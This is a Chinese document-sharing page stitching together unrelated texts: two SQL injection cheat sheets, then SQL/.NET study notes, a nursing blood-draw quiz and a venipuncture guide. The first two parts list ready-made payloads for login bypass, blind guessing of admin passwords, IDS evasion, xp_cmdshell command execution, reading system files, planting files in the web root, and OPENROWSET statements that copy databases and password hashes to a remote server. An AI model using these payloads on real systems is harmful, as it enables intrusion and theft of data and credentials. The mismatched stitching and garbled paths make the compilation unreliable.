SQL注射技术总结文档

时间:2019-05-12 12:41:41下载本文作者:会员上传
简介:写写帮文库小编为你整理了多篇相关的《SQL注射技术总结文档》,但愿对你工作学习有帮助,当然你在写写帮文库还可以找到更多《SQL注射技术总结文档》。

第一篇:SQL注射技术总结文档

天马行空●狼技术小组[1.S.T ](http://www.xiexiebang.com--------------

翻译:浪迹天.Iceskysl@1.S.T

Iceskysl_At_www.xiexiebang.com

1.Introduction.2.Testing for vulnerabilities.3.Gathering Information.4.Data types.5.Grabbing Passwords.6.Create DB accounts.7.MySQL OS Interaction.8.Server name and config.9.Retrieving VNC password from registry.10.IDS Signature Evasion.11.mySQL Input Validation Circumvention using Char().12.IDS Signature Evasion using comments.13.Strings without quotes.1.When a box only has port 80 open, it's almost certain the admin will patch his server, The best thing to turn to is web attacks.Sql Injection is one of the most common web attacks.You attack the web application,(ASP, JSP, PHP, CGI..etc)rather than the webserver or the services running on the OS.Sql injection is a way to trick using a qurey or command as a input via webpages,most websites take parameters from the user like username and passwrod or even their emails.They all use Sql querys.2.First of you should start with something simple.Pass:' or 1=1--' having 1=1--' SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablename')--' or 1 in(select @@version)--' and 1 in(select servername from master.sysservers)--

9.Retrieving VNC password from registry.-';declare @out binary(8)@rootkey = 'HKEY_LOCAL_MACHINE',@value_name='password',select cast(@out as bigint)as x into TEMP--' OR 'something' = 'some'+'thing'' OR 'something' like 'some%'' OR 'text' > 't'' OR 2 BETWEEN 1 and 3

11.mySQL Input Validation Circumvention using Char().Inject without quotes(string = “%”):--> ' or username like char(37);Inject with quotes(string=“root”):--> ' union select * from users where login = char(114,111,111,116);load files in unions(string = “/etc/passwd”):-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;Check for existing files(string = “n.ext”):-->' and 1=(if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

12.IDS Signature Evasion using comments.-->'/**/OR/**/1/**/=/**/1-->Username:' or 1/*-->Password:*/=1---->UNI/**/ON SEL/**/ECT-->(Oracle)

';EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'-->(MS SQL)

';EXEC('SEL' + 'ECT US' + 'ER')

13.Strings without quotes.--> INSERT INTO Users(Login, Password, Level)VALUES(char(0x70)+ char(0x65)+ char(0x74)+ char(0x65)+ char(0x72)+ char(0x70)+ char(0x65)+ char(0x74)+ char(0x65)+ char(0x72), 0x64)

Greets: kaneda, modem, wildcard, #black and pulltheplug.8

第二篇:SQL注射语句的经典总结

SQL注射语句的经典总结

SQL注射语句的经典总结 SQL注射语句

1.判断有无注入点

';and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select count(*)from *)

and 0<>(select count(*)from admin)---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

and 0<(select count(*)from admin)and 1<(select count(*)from admin)

4.猜解字段名称 在len()括号里面加上我们想到的字段名称.and 1=(select count(*)from admin where len(*)>0)--

and 1=(select count(*)from admin where len(用户字段名称name)>0)and 1=(select count(*)from admin where len(密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*)from admin where len(*)>0)

and 1=(select count(*)from admin where len(name)>6)错误

and 1=(select count(*)from admin where len(name)>5)正确 长度是6 and 1=(select count(*)from admin where len(name)=6)正确

and 1=(select count(*)from admin where len(password)>11)正确

and 1=(select count(*)from admin where len(password)>12)错误 长度是12 and 1=(select count(*)from admin where len(password)=12)正确

6.猜解字符

and 1=(select count(*)from admin where left(name,1)='a')---猜解用户帐号的第一位

and 1=(select count(*)from admin where left(name,2)='ab')---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*)from Admin where Asc(mid(pass,5,1))=51)--这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.看服务器打的补丁=出错了打了SP4补丁

and 1=(select @@VERSION)--

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。

and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--

判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

and 'sa'=(Select System_user)--and user_name()='dbo'--and 0<>(select user_name()--看xp_cmdshell是否删除

and 1=(Select count(*)FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--

xp_cmdshell被删除,恢复,支持绝对路径的恢复

;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--;EXEC master.dbo.sp_addextendedproc

'xp_cmdshell','c:inetpubwww.xiexiebang.com;Address=192.168.0.1,1433;', 'select * from table'

3.复制目标主机的整个数据库insert所有远程表到本地表。

基本语法:

insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1')select * from table2

这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from table1')select * from table2 insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases')

select * from master.dbo.sysdatabases

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysobjects')

select * from user_database.dbo.sysobjects insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _syscolumns')

select * from user_database.dbo.syscolumns 复制数据库:

insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from table1')select * from database..table1 insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select

* from table2')select * from database..table2

复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:

insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from

_sysxlogins')select * from database.dbo.sysxlogins 得到hash之后,就可以进行暴力破解。

遍历目录的方法: 先创建一个临时表:temp

';create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

';insert temp exec master.dbo.xp_availablemedia;--获得当前所有驱动器

';insert into temp(id)exec master.dbo.xp_subdirs 'c:';--获得子目录列表

';insert into temp(id,num1)exec master.dbo.xp_dirtree 'c:';--获得所有子目录的目录树结构,并寸入temp表中

';insert into temp(id)exec master.dbo.xp_cmdshell 'type c:webindex.asp';--查看某个文件的内容

';insert into temp(id)exec master.dbo.xp_cmdshell 'dir c:';--

';insert into temp(id)exec master.dbo.xp_cmdshell 'dir c: *.asp /s/a';--

';insert into temp(id)exec master.dbo.xp_cmdshell 'cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc'

';insert into temp(id,num1)exec master.dbo.xp_dirtree 'c:';--(xp_dirtree适用权限PUBLIC)

写入表:

语句1:and 1=(Select IS_SRVROLEMEMBER('sysadmin'));--语句2:and 1=(Select IS_SRVROLEMEMBER('serveradmin'));--

语句3:and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--语句4:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--语句5:and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--语句6:and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--语句7:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--语句8:and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--语句9:and 1=(Select IS_MEMBER('db_owner'));--把路径写到表中去:

;create table dirs(paths varchar(100), id int)--;insert dirs exec master.dbo.xp_dirtree 'c:'--and 0<>(select top 1 paths from dirs)--

and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--;create table dirs1(paths varchar(100), id int)--;insert dirs exec master.dbo.xp_dirtree 'e:web'--and 0<>(select top 1 paths from dirs1)--把数据库备份到网页目录:下载

;declare @a sysname;set @a=db_name();backup database @a to disk='e:webdown.bak';--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85))T order by id desc)

and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1)from sysobjects)参看相关表。

and 1=(select user_id from USER_LOGIN)

and 0=(select user from USER_LOGIN where user>1)-=-wscript.shell example-=-declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

';declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--declare @o int, @f int, @t int, @ret int declare @line varchar(8000)

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:boot.ini', 1 exec @ret = sp_oamethod @f, 'readline', @line out while(@ret = 0)begin print @line

exec @ret = sp_oamethod @f, 'readline', @line out end

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:inetpubwwwrootfoo.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL, ''

declare @o int, @ret int

exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150

exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528

waitfor delay '00:00:05'

';declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--xp_dirtree适用权限PUBLIC exec master.dbo.xp_dirtree 'c:'

返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths varchar(100), id int)

建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。

insert dirs exec master.dbo.xp_dirtree 'c:'

只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!

第三篇:SQL总结

1.SQL语句的With cte as用法:

with as短语,也叫做子查询部分。即定义一个SQL片断,该片断会让整个SQL语句所用到。eg:

with

cr as

(select CountryRegionCode from person.CountryRegion where Name like 'C%')

select * from person.StateProvince where CountryRegionCode in(select * from cr)

CTE后面必须直接跟使用CTE的SQL语句(如select,insert,update等),否则,CTE将失效。CTE后面也可以跟其他的CTE,但只能使用一个with,多个CTE中间用逗号(,)分隔。eg:

with

cte1 as

(select * from table1 where name like 'abc%'),cte2 as

(select * from table2 where id > 20),cte3 as

(select * from table3 where price < 100)

select a.* from cte1 a, cte2 b, cte3 c where a.id = b.id and a.id = c.id

2.case when then多条件判断:

CASE

WHEN 条件1 THEN 结果1

WHEN 条件2 THEN 结果2

WHEN 条件3 THEN 结果3

WHEN 条件4 THEN 结果4

.........WHEN 条件N THEN 结果N

ELSE 结果X

END

Case具有两种格式。简单Case函数和Case搜索函数。

--简单Case函数

CASE sex

WHEN '1' THEN '男'

WHEN '2' THEN '女'

ELSE '其他' END

--Case搜索函数

CASE WHEN sex = '1' THEN '男'

WHEN sex = '2' THEN '女'

ELSE '其他' END

3.select语句前面加@转义字符的作用是强制后面的字符串中不使用转义字符,当作字符串

处理。

eg:string ss=@“aanaa”;输出:aanaa

string ss=“aanaa”;

输出:aa

aa

4.select getdate():从SQL SERVER返回当前的时间与日期。

select first():函数返回指定的字段中第一个记录的值。

select last():函数返回指定的字段中最后一个记录的值。

select ucase():把字段的值转换为大写。

select lcase():把字段的值转换为小写。

select round():用于把数值字段设入为指定的小数位数。SELECT ROUND(column_name,decimals)FROM table_name

column_name 必需。要舍入的字段。decimals 必需。规定要返回的小数位数。format():用于对字段的显示进行格式化。

SELECT ProductName, UnitPrice, FORMAT(Now(),'YYYY-MM-DD')as PerDate FROM Products

5.union与union all的区别:

对重复结果的处理,UNION ALL 会将每一笔符合条件的资料都列出来,无论资料值有无重复

6.SELECT INTO 语句从一个表中选取数据,然后把数据插入另一个表中。

SELECT INTO 语句常用于创建表的备份复件或者用于对记录进行存档。

将整个table1复制到table2中:

INSERT INTO SELECT语句

语句形式为:Insert into Table2(field1,field2,...)select value1,value2,...from Table1(要求目标表Table2必须存在,由于目标表Table2已经存在,所以我们除了插入源表Table1的字段外,还可以插入常量。)

SELECT INTO FROM语句

语句形式为:SELECT value1, value2 into Table2 from Table1(要求目标表Table2不存在,因为在插入时会自动创建表Table2,并将Table1中指定字段数据复制到Table2中)

7.nchar :固定长度的 Unicode 数据,最大长度为 4,000 个字符。

nvarchar:可变长度Unicode 数据,其最大长度为4,000字符。

char: 固定长度的非 Unicode 字符数据,最大长度为 8,000 个字符。

varchar:可变长度的非Unicode数据,最长为8,000 个字符。

char和varchar都是字符串类型的,用Unicode编码的字符串,结果是字符的整数值.8.select 1 from:

select 1 from mytable;与select anycol(目的表集合中的任意一行)from mytable;与select * from mytable 作用上来说是没有差别的,都是查看是否有记录,一般是作条件用的。select 1 from 中的1是一常量,查到的所有行的值都是它,但从效率上来说,1>anycol>*,因为不用查字典表。

查看记录条数可以用select sum(1)from mytable;等价于select sum(*)from mytable;

9.SQL中的字符匹配:

[NOT] LIKE '<匹配串>' [ESCAPE '<换码字符>']

<匹配串>可以是一个完整的字符串,也可以含有通配符%和_

%代表任意长度的字符串。eg:a%b表示以a开头以b结尾的任意长度的字符串。_代表任意单个字符。eg:a_b表示以a开头,以b结尾的长度为3的任意字符串。ESCAPE定义转义字符,当转义符置于通配符之前时,该通配符解释为普通字符。

10.GROUP BY子句将查询结果按某一列或多列的值分组,值相等的为一组。HAVING短语给出选择组的条件。

11.ROW_NUMBER()OVER函数的基本用法 :

row_number()OVER(PARTITION BY COL1 ORDER BY COL2)表示根据COL1分组,在分组内部根据 COL2排序,而此函数计算的值就表示每组内部排序后的顺序编号(组内连续的唯一的)

select row_number()over(order by field2 desc)as row_number,* from t_table order by field1 desc Desc:倒序,Asc:正序

12.DbDataAdapter.Fill 方法(DataTable, IDbCommand, CommandBehavior):

在DataTable中添加或删除新行以匹配使用指定 DataTable 和 IDataReader 名称的数据源中的行。

13.SqlCommand.ExecuteScalar 方法:执行查询,并返回查询所返回的结果集中第一行的第一列,忽略其他列或行。

14.inner join(等值连接)只返回两个表中联结字段相等的行

left join(左联接)返回包括左表中的所有记录和右表中联结字段相等的记录

right join(右联接)返回包括右表中的所有记录和左表中联结字段相等的记录

15.e.Item.ItemType==ListItemType.Item||e.Item.ItemType==ListItemType.AlternatingItem指触发的类型为DadaList中的基本行或内容行

16.order by的用法:

如果Order by 中指定了表达式Nulls first则表示null值的记录将排在最前(不管是asc 还是 desc)

如果Order by 中指定了表达式Nulls last则表示null值的记录将排在最后(不管是asc 还是 desc)

eg:将nulls始终放在最前

select * from zl_cbqc order by cb_ld nulls first

--将nulls始终放在最后

select * from zl_cbqc order by cb_ld desc nulls last

单列升序:select from order by ;(默认升序,即使不写ASC)

单列降序:select from order by desc;

多列升序:select , from order by , ;

多列降序:select , from order by desc, desc;

多列混合排序:select , from order by desc, asc;

17.C#中NULL,“",DBNULL,String.Empty,Convert.IsDBNull区别

(1)NULL

null 关键字是表示不引用任何对象的空引用的文字值。null 是引用类型变量的默认值。那么也只有引用型的变量可以为NULL,如果 int i=null,的话,是不可以的,因为Int是值类型的。

(2)DBNULL

DBNull在DotNet是单独的一个类型,该类只能存在唯一的实例,DBNULL.Value,DBNull唯一作用是可以表示数据库中的字符串,数字,或日期,为什么可以表示原因是DotNet储存这些数据的类(DataRow等)都是以 object 的形式来储存数据的。对于 DataRow , 它的 row[column] 返回的值永远不为 null,要么就是具体的为column 的类型的值。要么就是 DBNull。所以 row[column].ToString()这个写法永远不会在ToString那里发生NullReferenceException。DBNull 实现了 IConvertible。但是,除了 ToString 是正常的外,其他的ToXXX都会抛出不能转换的错误。

(3)”“和String.Empty

这两个都是表示空字符串,其中有一个重点是string str1=”“ 和 string str2=null 的区别,这样定义后,str1是一个空字符串,空字符串是一个特殊的字符串,只不过这个字符串的值为空,在内存中是有准确的指向的,string str2=null,这样定义后,只是定义了一个string 类的引用,str2并没有指向任何地方,在使用前如果不实例化的话,都将报错。

(4)Convert.IsDBNull()

Convert.IsDBNull()返回有关指定对象是否为 DBNull 类型的指示,即是用来判断对象是否为DBNULL的。其返回值是True或Flase。

string.Empty不分配存储空间

”“分配一个长度为空的存储空间

所以一般用string.Empty

null表示一个对象的指向无效,即该对象为空对象

DBNull。Value表示一个对象在数据库中的值为空,或者说为初始化,DBNull。Value对象指向有效的对象

18.DataSet.Relations.add():获取用于将表链接起来并允许从父表浏览到子表的关系的集合。DataSet.Relations.Add(”关联名称“, 父关联主键字段, 子关联外来键字段)

19.DataBind():在Page_Load方法中我们建立了一个数组(ArrayList),并通过DataBind方法将这个数组捆绑到了DropDownList控件中,使得DropDownList最后有数据显示:)

20.IN 操作符允许我们在 WHERE 子句中规定多个值。

SQL IN 语法:SELECT column_name(s)FROM table_nameWHERE column_name IN(value1,value2,...)

21.DataBinder.Eval方法:在运行时使用反射来分析和计算对象的数据绑定表达式<%# DataBinder.Eval(Container.DataItem, ”ColumnName“)%>

eval()函数可计算某个字符串,并执行其中的的 JavaScript 代码。

可以理解为反射的绑定

或者理解为将Eval()里的字符串转换为表达式

在数据绑定的时候常用,其实是通过反射的手段实现了绑定

22.sql语句 count(1)与 count(*)的区别 :

count(1),其实就是计算一共有多少符合条件的行。

1并不是表示第一个字段,而是表示一个固定值。

其实就可以想成表中有这么一个字段,这个字段就是固定值1,count(1),就是计算一共有多少个1.count(*),执行时会把星号翻译成字段的具体名字,效果也是一样的,不过多了一个翻译的动作,比固定值的方式效率稍微低一些。

23.DataTable.NewRow :创建与该表具有相同框架的新的DataRow

24.ExcuteNonQuery():

如果要创建或修改数据库结构,操作成功时返回值为-1;如果要更新记录,返回值为操作影响的记录数;

ExecuteNonQuery()方法主要用于用户更新数据,通常它使用Update,Insert,Delete语句来操作数据库,其方法返回值意义:对于 Update,Insert,Delete 语句 执行成功是返回值为该命令所影响的行数,如果影响的行数为0时返回的值为0,如果数据操作回滚得话返回值为-1,关于MyCommand的ExecuteNonQuery(),ExecuteScalar(),ExecuteReader方法的区别:

***ExecuteNonQuery():执行SQL,返回一个整型变量,如果SQL是对数据库的记录进行操作,那么返回操作影响的记录条数,如果是SQL=”CREATE TABLE LookupCodes(code_id smallint IDENTITY(1,1)PRIMARY KEY CLUSTERED, code_desc varchar(50)NOT NULL)"那么在表创建成功后该方法返回-1。

***ExecuteScalar():执行SQL,(如果SQL是查询Select)返回查询结果的第一行第一列,如果(如果SQL不是查询Select)那么返回未实列化的对象,因为对象未实列化,所以返回结果不能ToString(),不能Equals(null),也就是说返回结果没有任何作用

***executeReader方法执行SQL,(如果SQL是查询Select)返回查询结果的集合,类型是 System.Data.OleDb.OleDbDataReader,你可以通过此结果,获取查询的数据。如果(如果SQL不是查询Select)那么返回一个没有任何数据的System.Data.OleDb.OleDbDataReader类型的集合(EOF)

25.DbDataAdapter.Fill 方法(DataTable):在 DataSet 的指定范围中添加或刷新行,以与使用 DataTable 名称的数据源中的行匹配。

26.Decimal:decimal(2,1),有效长度为2,小数位占1位。

varchar:可变长度的非Unicode数据,最长为8,000 个字符。

nvarchar:可变长度Unicode 数据,其最大长度为4,000字符。

char: 固定长度的非 Unicode 字符数据,最大长度为 8,000 个字符。

nchar :固定长度的 Unicode 数据,最大长度为 4,000 个字符。

char和varchar都是字符串类型的,用Unicode编码的字符串,结果是字符的整数值.timestamp:数据类型是一种特殊的数据类型,用来创建一个数据库范围内的唯一数码。一个表中只能有一个timestamp列。每次插入或修改一行时,timestamp列的值都会改变。尽管它的名字中有“time”,但timestamp列不是人们可识别的日期。在一个数据库里,timestamp值是唯一的Uniqueidentifier特殊数据型

SELECT UPPER('Kelly'):upper是数据库的字符串函数,它的作用是将传递给它的英文字符串中小写字母转换为大写(大写的保持不变);

SELECT LOWER('kelly'):lower将指定字符串中的大写字母换成小写字母

SUBSTRING(colunm name,startposition,length)从指定字符串中取字符

eg:SQL实例:

显示每个地区的总人口数和总面积.

SELECT region, SUM(population), SUM(area)

FROM bbc

GROUP BY region

先以region把返回记录分成多个组,这就是GROUP BY的字面含义。分完组后,然后用聚合函数对每组中的不同字段(一或多条记录)作运算。

显示每个地区的总人口数和总面积.仅显示那些面积超过1000000的地区。

SELECT region, SUM(population), SUM(area)

FROM bbc

GROUP BY region

HAVING SUM(area)>1000000

27.SELECT [ALL|DISTINCT] <目标列表达式> [别名] [,<目标列表达式> [别名]]…… FROM <表名或视图名> [别名] [,<表名或视图名> [别名]]……

[WHERE <条件表达式>]

[GROUP BY <列名1> [HAVING <条件表达式>]]

[ORDER BY <列名2> [ASC|DESC]]

INSERT

INTO <表名> [(<属性列1>[,<属性列2>……])]

VALUES(<常量1> [,<常量2>]……)

UPDATE <表名>

SET <列名>=<表达式> [,<列名>=<表达式>]……

[WHERE <条件>]

DELETE

FROM <表名>

[WHERE <条件>]

第四篇:皮内注射技术试题

采血技术操作试题

一、填空题(2分/空 共50分)

1.静脉采血法目前包括()和()两种。可能发生的并发症包括()()()()()2.掌握正确的穿刺方右手持注射器,针头和皮肤成()或(),在股动脉内侧()处刺入,见抽出暗红血液,表示已达股静脉。

3.评估血管条件,尽量选择()()()浅表静脉。4.采血前应评估患者()()()()等。5.采血后有效按压是()的有效措施。

6.动脉前认真选择血管,避免在已出现()()()()等情况的部位穿刺。

7.动脉穿刺采血法操作主要用于().8.动脉穿刺采血操作已经成为护士必须熟练掌握的临床护理技术,但该操作需要较高的技术,操作不当,会造成诸多不良后果,如()()()()()()()()等。

二、选择题(5分/题 共50分)

1、静脉穿刺是实验室试验获取()样本的主要技术和方法 A体液 B血液 C 脑脊液 D尿液

2.采血对象取坐位或卧位,手臂伸直平放在床边或台面,腕下垫枕上,暴露穿 刺部位,找好合适采血静脉后,在静脉穿刺部位上方4-7厘米处扎紧压脉带,捆绑时间不应超过(A)A 1分 B 2分 C 3分 D 4分

3.当轻压或轻拍时能感觉其回弹的静脉即为合适血管。最常用的选择部位是 血管丰富并且血管贴近皮肤表层的(D)

A上臂区域 B 上肢区域 C 肘后区域 D 肘前区域

4.使针与皮肤成(),在静脉上或旁侧刺入皮下,再沿静脉走向 潜行刺入静脉,待回血后,将针头顺势探入少许固定不动,以免采血时针头滑出,但不可用力深刺,以免造成血肿。

A l5度一30度 B 15-20度 C 20-30度 D30-40度

5.抽血至所需量,放松压脉带,用无菌棉签压住进针处拔针,将采样对象前臂 屈曲压迫(3-5分钟)A 1-2分钟 B 2-4分钟 C 3-5分钟 D 4-6分钟 6.采血后发生晕厥或眩晕,可让其(平卧)休息片刻,即可恢复。A平卧 B坐卧 C斜卧 D 站立 7.血气分析时,标本的采集处理中,以下做法错误的是()

A.采集动脉血 B.以肝素抗凝 C.立即送检 D.不需与空气隔绝 E.抽血后将针头刺入胶塞摇匀血液 8.股动脉位于()

A.股三角内由髂外动脉发出 B .股神经外侧 C.股静脉内侧 D.股静脉外侧 E.股深动脉内侧

9.动脉采血技术用于()

A.交叉配血

B.血常规 C.血气分析 D.血生化 10.采集动脉血穿刺针头斜面最佳穿刺角度是()

A.向上与皮肤呈45度-90度 B向下与皮肤呈45度-90度 C.向上与皮肤呈60度 D向上与皮肤呈30度 E。向上与皮肤呈15度

第五篇:静脉采血与注射技术

静脉采血与注射技术

概念:

自静脉抽取血标本或注入药液的方法 常用静脉:

1、四肢浅静脉:上肢常用肘部浅静脉(贵要静脉、肘正中静脉、头静脉)腕部及手背静脉,下肢常用大隐静脉、小隐静脉及足背静脉

2、头皮静脉 3:股静脉

静脉采血技术 目的:

为患者采集,留取静脉血标本,协助临床诊断疾病,为临床治疗提供依据 血标本分为:

1、全血标本:测定血沉及血液中某些物质如血糖、尿素氮、肌酐、尿酸、肌酸、血氨的含量。

2、血清标本:测定肝功能、血清酶、脂类、电解质等。

3、血培养标本:培养检测血液中的病原菌。操作前准备阶段

1、衣帽整齐、规范洗手、戴口罩;

2、用物:治疗车、清洁治疗盘、棉签、皮肤消毒液、手消毒液、止血带、弯盘、手套,根据医嘱备注射器、标本容器、利器盒、试管架、小垫巾;

3、核对检验单、标本容器,贴化验单附联标签,按要求填写各项内容,检查标本容器是否完好;

4、将物品按顺序置于治疗车上。操作步骤阶段

1、将用物推至患者床旁,核对床号、姓名、并询问患者的名字,向患者说明目的及配合方法,询问患者是否按要求进行采血前准备;

2、再次核对检验单,并协助患者取舒适卧位;

3、选择合适的穿刺部位,评估穿刺部位皮肤及血管情况并征求患者意见,铺小垫巾,放好止血带,进行手消毒;

4、消毒皮肤、扎止血带,再次消毒皮肤,嘱患者握拳;

5、戴手套,按静脉穿刺法穿刺血管,见回血后抽取所需血量,松止血带,嘱患者松手,迅速拔出针头、用干棉签嘱患者按压局部3~5min、勿揉搓

6、取下针头,跟据检查目的将血液沿管壁注入标本容器,脱去手套;

7、再次核对,协助患者取舒适卧位,整理用物并致谢,规范洗手;

8、标本连同检验单及时送检;

9、必要时记录抽血时间、抽血量。注意事项

1、血标本做生化检验时,应在病人空腹时采取,此时血液的各种化学成分处于相对稳定状态,检验结果比较 准确。因此,应事先通知病人,避免因进食水而影响检验结果。

2、根据不同的检验目的选择标本容器,并计算所需血量。一般血培养取血3~5ml,亚急性细菌性心内膜炎病人为提高阳性培养率,采血量需增至10~15ml。

3、严禁在输液、输血的针头处取血,以免影响检验结果应在对侧肢体采集。

4、同时抽取几项检验标本,一般注入容器的顺序为:血培养瓶→抗凝管→干燥管,动作应迅速准确。

5、血培养标本应注入无菌容器内,不可混入消毒剂、防腐剂及药物,以免影响检验结果。

静脉注射技术 目的

1、注入药物,用于药物不宜口服、皮下、肌内注射,或需迅速发挥药效时。

2、注入药物作某些诊断性检查。

3、静脉营养治疗。

操作前准备阶段

 护士:洗手,戴口罩,检查并核对药物、医嘱,按医嘱准备药液。

 物品:治疗盘,注射器(根据药量准备)、头皮针、药液、止血带、输液贴、治疗巾、消毒垫巾、消毒液等。 环境:清洁、舒适。 病人:坐位或卧位。操作步骤阶段 治疗室:

1、核对医嘱,准备及检查药液,检查无菌物品。

2、消毒瓶盖二次(安瓿锯前后各消毒1次),打开安瓿,取出注射器抽吸药液(剂量准确)。

3、放入治疗盘中备用。病房:

1、携用物至床旁,核对后向病人解释操作的目的,方法及所注药物及作用。

2、暴露肢体,扎止血带选择血管后,松开止血带,在预穿刺血管的下面放消毒垫巾。

3、消毒皮肤一次,皮肤待干,撕开输液贴贴在治疗盘上,扎止血带(在穿刺部位上方约6cm处扎紧),再次消毒皮肤,嘱病人握拳使静脉充盈。

4、排尽注射器内空气。

5、再次核对。

6、左手绷紧皮肤,右手持注射器,针头斜面向上进针(与皮肤呈20-30度角),见回血沿血管进针少许,松止血带并嘱病人松拳。

7、固定针栓缓慢注入药液,同时观察病人有无不良反应,(注射过程中,可稍抽回血以观察针头有无脱出血管)。

8、注射完毕拔针,按压注射部位与进针点。

9、再次查对。

注意事项

1、严格执行查对制度和无菌操作制度。

2、对需要长期静脉给药的患者,应当保护血管,由远心端至近心端选择血管穿刺。

3、注射过程中随时观察患者的放应。

4、静脉注射对组织有强烈刺激性的药物,一定要在确认针头在静脉内后方可推注药液,以免药液外溢导致组织坏死。静脉注射失败的常见原因

1、针头刺入静脉过少,抽吸虽有回血,但松解止血带时静脉回缩,针头滑出血管,药液注入皮下。

2、针头斜面未完全刺入静脉,部分在血管外,抽吸虽有回血,但推注时药液溢至皮下,局部隆起并有痛感。

3、针头刺入较深,斜面一半穿破对侧血管壁,抽吸有回血,推注少量药液,局部可无隆起,但因部分药液溢出至深层组织,患者有痛感。

4、针头刺入过深,穿破对侧血管壁,抽吸无回血。

下载SQL注射技术总结文档word格式文档
下载SQL注射技术总结文档.doc
将本文档下载到自己电脑,方便修改和收藏,请勿使用迅雷等下载。
点此处下载文档

文档为doc格式


声明:本文内容由互联网用户自发贡献自行上传,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任。如果您发现有涉嫌版权的内容,欢迎发送邮件至:645879355@qq.com 进行举报,并提供相关证据,工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。

相关范文推荐

    SQL实验报告总结

    《数据库系统概论(第四版)》体会 学号: 姓名: 班级: 教师:学 期实 验 总 结 与 心 得【实验名称】 数据库的创建 【实验内容】 1、新建sql注册表。 2、新建数据库。主数据文件:......

    SQL语句经典总结

    SQL语句经典总结 一、入门 1、说明:创建数据库 CREATE DATABASE database-name2、说明:删除数据库 drop database dbname 3、说明:备份sql server --- 创建 备份数据的 device......

    经典实用SQL语句大全总结

    经典实用SQL语句大全总结 [编辑语言]2015-05-26 19:56 本文导航 1、首页2、11、说明:四表联查问题: 本文是经典实用SQL语句大全的介绍,下面是该介绍的详细信息。 下列语句部分......

    SQL各种约束总结

    SQL Server 各种约束总结 NOT NULL约束 Not null ,即不为空。Not null 约束强制字段始终包含值。这意味着,如果不向字段添加值,就无法插入新记录或者更新记录。添加此约束有......

    SQL语言总结

    select 姓名,sum(成绩) as 总分from 学生 inner join 成绩 on 学生.学号=成绩.学号 group by 姓名 答:从通过学号建立的学生与成绩关系表中选择选择学生成绩的姓名集合Update 学......

    SQL语句总结

    SQL语句总结 一、插入记录 1. 插入固定的数值 语法: INSERT[INTO]表名[(字段列表)]VALUES(值列表) 示例1: Insert into Students values('Mary’,24,’mary@163.com’) 若没有指......
